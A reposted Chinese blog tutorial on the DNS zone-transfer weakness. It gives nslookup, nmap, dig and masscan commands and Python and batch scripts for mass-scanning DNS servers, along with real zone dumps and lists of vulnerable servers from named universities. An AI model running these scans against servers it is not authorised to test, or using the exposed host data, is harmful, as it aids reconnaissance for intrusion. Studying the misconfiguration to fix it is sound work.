DNS域传送漏洞

摘要:
默认TCP/UDP端口号为53常见DNS记录类型:53-oXns.xml--rate16000010.0.0.0-110.0.0.0获取开放端口53 DNS服务器对象的潜在漏洞:2)服务器命令参数设置查询要使用的DNS服务器;QueryreposedDNS服务器拒绝将区域bjfu.edu.cn传输到您的计算机:
DNS域传送

DNS :Domain Name System
一个保存IP地址和域名相互映射关系的分布式数据库,重要的互联网基础设施,默认使用的TCP/UDP端口号是53

常见DNS记录类型:

A       IP地址记录,记录一个域名对应的IP地址
AAAA    IPv6 地址记录,记录一个域名对应的IPv6地址
CNAME   别名记录,记录一个主机的别名 
MX      电子邮件交换记录,记录一个邮件域名对应的IP地址,如root@xxxx.com
NS      域名服务器记录 ,记录该域名由哪台域名服务器解析
PTR     反向记录,也即从IP地址到域名的一条记录
TXT     记录域名的相关文本信息

域传送 :DNS Zone Transfer

DNS服务器分为:主服务器备份服务器缓存服务器
域传送是指备份服务器从主服务器拷贝数据,并用得到的数据更新自身数据库。
在主备服务器之间同步数据库,需要使用“DNS域传送”。

方法

1. 利用网络空间搜索引擎收集域名服务器
shodan zoomeye fofa port:53

2. 利用MasScan收集dns服务器

./bin/masscan -p:53 -oX ns.xml --rate 160000 101.0.0.0-110.0.0.0

获得开放53端口的潜在漏洞DNS服务器对象。

3. 目标针对
针对某个目标域名,查询目标所处域dns服务器是否有域传送漏洞,从而获得横向渗透的机会和更多的可能性。见下文:

nslookup结合dig的科学利用

4. 后人乘凉
前人已经栽好树了,我们只需要找到树,就可乘凉了。收集好的dns服务器与域名:传送门

三. 检测与利用


原理

DNS服务器配置不当,导致匿名用户利用DNS域传送协议获取某个域的所有记录。
通过可以实现DNS域传送协议的程序,尝试匿名进行DNS域传送,获取记录。

危害

网络拓扑结构泄露给潜在的攻击者,包括一些安全性较低的内部主机,如测试服务器等。直接加快、助长攻击者的入侵过程。

检测与利用

1. nslookup
基本过程

1) 输入nslookup命令进入交互式shell;
2) server 命令参数设定查询将要使用的DNS服务器;
3) ls命令列出某个域中的所有域名;
4) exit命令退出

失败例子
ps: 貌似现在域传送漏洞不太好找了

> nslookup
DNS request timed out.
    timeout was 2 seconds.
默认服务器:  UnKnown
Address:  114.114.114.114

> server ss2.bjfu.edu.cn
默认服务器:  ss2.bjfu.edu.cn
Address:  202.204.112.67

> ls bjfu.edu.cn
[ss2.bjfu.edu.cn]
*** 无法列出域 bjfu.edu.cn: Query refused
DNS 服务器拒绝将区域 bjfu.edu.cn 传送到你的计算机。如果这不正确,
请检查 IP 地址 202.204.112.67 的 DNS 服务器上 bjfu.edu.cn 的
区域传送安全设置。

成功例子
ps:部分结果已隐去

> nslookup
默认服务器:  public1.114dns.com
Address:  114.114.114.114

> server ring.cugb.edu.cn
默认服务器:  ring.cugb.edu.cn
Address:  202.204.105.1

> ls cugb.edu.cn
[ring.cugb.edu.cn]
 cugb.edu.cn.                   NS     server = ring.cugb.edu.cn
 cugb.edu.cn.                   A      127.0.0.1
 acm                            A      121.194.86.2
 bbs                            A      202.204.105.172
 bm                             A      202.204.105.179
 bsbm                           A      202.204.105.17
 bslt                           A      202.204.109.241
 cas                            A      202.204.105.97
 ce                             A      202.204.99.249
 chushi                         A      202.204.105.243
 cj                             A      202.204.96.111
 cms                            A      202.204.105.179
 computer                       A      202.204.96.202
 csc                            A      202.204.97.60
 cugblx                         A      202.204.105.173
.
.
.
.
 yx                             A      202.204.105.179
 zhsh                           A      202.204.105.198
 zzb                            A      202.204.105.243

非交互式方法
为了避免和nslookup交换,可以编写一个ls.bat

echo ls %1 | nslookup – %2

%1代表第一个参数,即xxx.edu.cn
%2代表第二个参数,即dns.xxx.edu.cn
echo是回声命令,原文输出传入的参数内容

测试dns.xxx.edu.cn服务器,可以执行命令

ls.bat xxx.edu.cn dns.xxx.edu.cn

2. nmap

nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=xxx.edu.cn -p 53 -Pn dns.xxx.edu.cn

dns-zone-transfer.domain参数 指定要查询的域;dns.xxx.edu.cn 为指定的查询域名服务器
成功的话会如下所示,列出了指定域中所有的记录(如果端口屏蔽,就查不出了,不太实用)。

> nmap --script dns-zone-transfer --script-args dns-zone-transfer.domain=hzmc.edu.cn -p 53 -Pn dns.hzmc.edu.cn

Starting Nmap 7.10 ( https://nmap.org ) at ****
Nmap scan report for dns.hzmc.edu.cn (211.86.0.1)
Host is up (0.38s latency).
PORT   STATE SERVICE
53/tcp open  domain
| dns-zone-transfer:
| hzmc.edu.cn.           SOA    ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.
| hzmc.edu.cn.           NS     ns.hzmc.edu.cn.
| hzmc.edu.cn.           NS     dns.hzmc.edu.cn.
| hzmc.edu.cn.           A      211.86.0.1
| hzmc.edu.cn.           MX     10 ns.hzmc.edu.cn.
| dns.hzmc.edu.cn.       A      211.86.0.1
| ftp.hzmc.edu.cn.       CNAME  dns.hzmc.edu.cn.
| www.jwc.hzmc.edu.cn.   A      211.86.3.182
| www.lib.hzmc.edu.cn.   A      211.86.3.38
| www.spdb.hzmc.edu.cn.  A      211.86.0.3
| www.hzmc.edu.cn.       A      211.86.0.4
| www.yzzp.hzmc.edu.cn.  A      211.86.0.8
| www.zwc.hzmc.edu.cn.   A      211.86.2.200
|_hzmc.edu.cn.           SOA    ns.hzmc.edu.cn. root.ns.hzmc.edu.cn.

Nmap done: 1 IP address (1 host up) scanned in 20.43 seconds

3. dig
windows免安装版dig下载地址: Windows绿色版dig工具

使用命令:

dig @dns.xxx.edu.cn axfr xxx.edu.cn

@指定域名服务器;axfr 为域传送指令;xxx.edu.cn表示要查询的域名;

成功测试
ps:部分结果已隐去

> dig @ring.cugb.edu.cn axfr cugb.edu.cn

; <<>> DiG 9.11.0-P1 <<>> @ring.cugb.edu.cn axfr cugb.edu.cn
; (1 server found)
;; global options: +cmd
cugb.edu.cn.            86400   IN      SOA     ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
cugb.edu.cn.            86400   IN      TXT     "v=spf1 ip4:202.204.105.6/24 ~all"
cugb.edu.cn.            86400   IN      NS      ring.cugb.edu.cn.
cugb.edu.cn.            86400   IN      MX      5 mail.cugb.edu.cn.
cugb.edu.cn.            86400   IN      A       127.0.0.1
cugb.edu.cn.            86400   IN      AAAA    ::1
acm.cugb.edu.cn.        86400   IN      A       121.194.86.2
bbs.cugb.edu.cn.        86400   IN      A       202.204.105.172
bm.cugb.edu.cn.         86400   IN      A       202.204.105.179
.
.
.
.
zhsh.cugb.edu.cn.       86400   IN      A       202.204.105.198
zzb.cugb.edu.cn.        86400   IN      A       202.204.105.243
cugb.edu.cn.            86400   IN      SOA     ring.cugb.edu.cn. root.cugb.edu.cn. 20130504 86400 3600 604800 10800
;; Query time: 46 msec
;; SERVER: 202.204.105.1#53(202.204.105.1)
;; WHEN: ****
;; XFR size: 114 records (messages 1, bytes 2562)

dig的批处理利用 For Windows

不想偷懒的学生不是好司机。
建立文件: .LandGrey-Dns-Zone-Transfer-Scan.bat(提供下载链接: LandGrey-Dns-Zone-Transfer-Scan.bat)
写入以下内容:

@echo off
Rem Build By LandGrey
title Dns Zone Transfer Scan
echo +++++++++++++++++++++++++++++ LandGrey Dns Zone Transfer Scan bat +++++++++++++++++++++++++++++ 
for /f "tokens=1,2 delims= " %%i in (%cd%/dns-zone-transfer/hostlist.txt) do echo Scanning %%j & %cd%dig.exe @%%i axfr %%j>> %cd%/dns-zone-transfer/ScanResults.txt

必要的解释
整个批处理主要是for循环一行一行的读取当前目录下的“/dns-zone-transfer/hostlist.txt”文件,进行工作;
%cd% 代表bat文件当前目录;
delims= 指定分隔符;表示读取的一行文本以空格来分隔; 当然,也可以自己修改分隔符;
tokens=1,2 表示取以分隔符分隔的第一个和第二个元素;
do后面是具体做的事: 一边提示正在扫描的域名,一边扫描域传送漏洞;
ps: 在批处理中,%%i用来代指第一个元素,根据字母顺序(i,j,k…),%%j指代第二个元素,以此类推;
dig.exe @%%i axfr %%j 即dig @dns.xxx.edu.cn axfr xxx.edu.cn的替换模版;
这就要求hostlist.txt文件中的书写格式应该为:“[dns-server] [domain]”,类似于如下的形式:

dns.xxx.edu.cn xxx.edu.cn1

%cd%dig.exe 表示 .LandGrey-Dns-Zone-Transfer-Scan.bat文件要与dig.exe放在同一个目录下;
最后查询结果全部保存在当前目录下的“/dns-zone-transfer/ScanResults.txt”文件中;


nslookup结合dig的科学利用
不想的开好车的学生不是老司机。
如果获得了目标域名,并不清楚目标的主dns服务器时,可以通过用如下的nslookup语句,先查询目标域名的主dns服务器,然后再用dig进行DNS域传送检测,最后用python脚本实现。

> nslookup -type=ns landgrey.cn
服务器:  public1.114dns.com
Address:  114.114.114.114

非权威应答:
landgrey.cn     nameserver = dns9.hichina.com
landgrey.cn     nameserver = dns10.hichina.com1234567

单个查询(实用)
提供下载地址: dztester

#!/usr/bin/env python
# coding:utf-8
#
# Build by LandGrey 2016-12-03
#

import re
import os
import sys


def dns_zone_tranfer_finder(domain):
    print '[+] Nslookup %s' % domain
    cmd_res = os.popen('nslookup -type=ns ' + domain).read()  # fetch DNS Server List
    dns_servers = re.findall('nameserver = ([w.]+)', cmd_res)
    if len(dns_servers) == 0:
        print '[+] No DNS Server Found!
'
        exit(0)
    for singledns in dns_servers:
        print '[+] Using @%s' % singledns
        cmd_res = os.popen('dig @%s axfr %s' % (singledns, domain)).read()
        # print cmd_res
        if cmd_res.find('XFR size') > 0:
            print '[+] Vulnerable dns server found:', singledns
            print cmd_res
        else:
            print '[+] No Vulnerable found'


def usage():
    print '[+] Usage: python DZT-tester.py [domain]
'


if __name__ == "__main__":
    if len(sys.argv) != 2:
        usage()
    elif '-h' in sys.argv[1]:
        usage()
    else:
        domain = sys.argv[1]
        print '[+] Test %s' % domain
        dns_zone_tranfer_finder(domain)
        print '[+]

使用方式:

python dztester.py [domain]

批量查询
*****脚本同一目录下应有‘dns-zone-transfer’目录;‘dns-zone-transfer’目录下有‘dns’子目录;
*****要检测的域名列表存放在‘dns-zone-transferdomain.txt’中,一行一个。
*****结果存储在‘dns-zone-transferdns’目录和‘dns-zone-transfervulnerable_hosts.txt’文件中。

# coding:utf-8

import re
import os
import sys
import threading


def dns_zone_tranfer_finder():
    global c_index
    while True:
        lock.acquire()
        if c_index >= len(DomainLists):
            lock.release()
            break
        domain = DomainLists[c_index].lstrip('www.')
        c_index += 1
        lock.release()
        cmd_res = os.popen('nslookup -type=ns ' + domain).read()    # fetch DNS Server List
        dns_servers = re.findall('nameserver = ([w.]+)', cmd_res)
        for server in dns_servers:
            if len(server) < 5:
                server += domain
            cmd_res = os.popen('dig @%s axfr %s +short' % (server, domain)).read()
            if cmd_res.find('XFR size') > 0 
                    and cmd_res.find('Transfer failed.') < 0 
                    and cmd_res.find('connection timed out') < 0:
                lock.acquire()
                print '*' * 10 + ' Vulnerable dns server found:', server, '*' * 10
                lock.release()
                with open(os.path.join(currentdir, 'dns-zone-transfer', 'vulnerable_hosts.txt'), 'a') as f:
                    f.write('%s    %s
' % (server.ljust(30), domain))
                with open(os.path.join(currentdir, 'dns-zone-transfer', 'dns', server + '.txt'), 'w') as f:
                    f.write(cmd_res)


if __name__ == "__main__":
    currentdir = os.path.dirname(sys.argv[0])
    target = open(os.path.join(currentdir, 'dns-zone-transfer', 'domain.txt'))
    DomainLists = []
    for host in target.readlines():
        DomainLists.append(host)
    print u'采集 %d 个...' % len(DomainLists)
    threads = []
    c_index = 0
    lock = threading.Lock()
    for i in range(10):
        t = threading.Thread(target=dns_zone_tranfer_finder)
        t.start()
        threads.append(t)
    for t in threads:
        t.join()
    print 'All 

漏洞存在标识主要是dig命令结果中出现特征字符串“XFR size”;

运行起来类似下面这样:

********** Vulnerable dns server found: nknu.nknu.edu.tw **********
********** Vulnerable dns server found: ns2.ntnu.edu.tw **********
********** Vulnerable dns server found: ns2.must.edu.mo **********

免责声明:文章转载自《DNS域传送漏洞》仅用于学习参考。如对内容有疑问,请及时联系本站处理。

上篇密码学——网间数据加密传输全流程(SSL加密原理)使用Unity实现VR中在黑板上写字(升级篇)(二)----- 加入黑板擦下篇

宿迁高防,2C2G15M,22元/月;香港BGP,2C5G5M,25元/月 雨云优惠码:MjYwNzM=

相关文章

Linux curl

命令:curl 在Linux中curl是一个利用URL规则在命令行下工作的文件传输工具,可以说是一款很强大的http命令行工具。它支持文件的上传和下载,是综合传输工具,但按传统,习惯称url为下载工具。 语法:# curl [option] [url] 常见参数:   -A/--user-agent <string>...

服务器推送的实现—基于EventSource

一、服务器推送理解   首先要知道为什么使用服务器推送,回答这个问题其实就是相当于回答,服务器推送的优点,可以从两个方面来思考: 1.1 服务器推送的目的   及时的将客户端感兴趣的数据推送给它。 1.2 不是用服务器推送怎么来实现需求   不使用服务端推送,那就只能由客户端定期对服务器发送请求,来获取是否有需要的数据。这样做有几个缺点: 不能及时的获取...

服务器端Session和客户端Session(和Cookie区别)

Session其实分为客户端Session和服务器端Session。 当用户首次与Web服务器建立连接的时候,服务器会给用户分发一个 SessionID作为标识。SessionID是一个由24个字符组成的随机字符串。用户每次提交页面,浏览器都会把这个SessionID包含在 HTTP头中提交给Web服务器,这样Web服务器就能区分当前请求页面的是哪一个客户...

shell脚本实现多台服务器自动巡检

转至:https://www.cnblogs.com/xred/p/7766300.html shell脚本实现多台服务器自动巡检 摘要:         运维服务一个项目二十多台(或者多台)服务器,每天要做服务器的性能巡检工作是查看服务器的CPU、内存、磁盘空间是否在正常值范围内。像这样每天或者每个固定时间段都做相同的重复工作,为了简化重复的工作,我写了...

DNSmasq架设简单DNS服务器

DNSmasq是一个轻巧的,容易使用的DNS服务工具,它可以应用在内部网和Internet连接的时候的IP地址NAT转换,也可以用做小型网络的DNS服务。 实验环境:centos 7.8 mininstall 最小化安装 1 安装dnsmasq软件 yum -y install dnsmasq 启动服务,并设置开机自启, systemctl ena...

基于ABP的应用执行Update-Database出现异常的解决办法

今天在QQ群中看到有网友在更新数据库执行Update-Database时出现下面的错误: 为了能让搜索引擎搜索到,特意加上该错误的文字说明: 在与 SQL Server 建立连接时出现与网络相关的或特定于实例的错误。未找到或无法访问服务器。请验证实例名称是否正确并且 SQL Server 已配置为允许远程连接。 (provider: SQL Networ...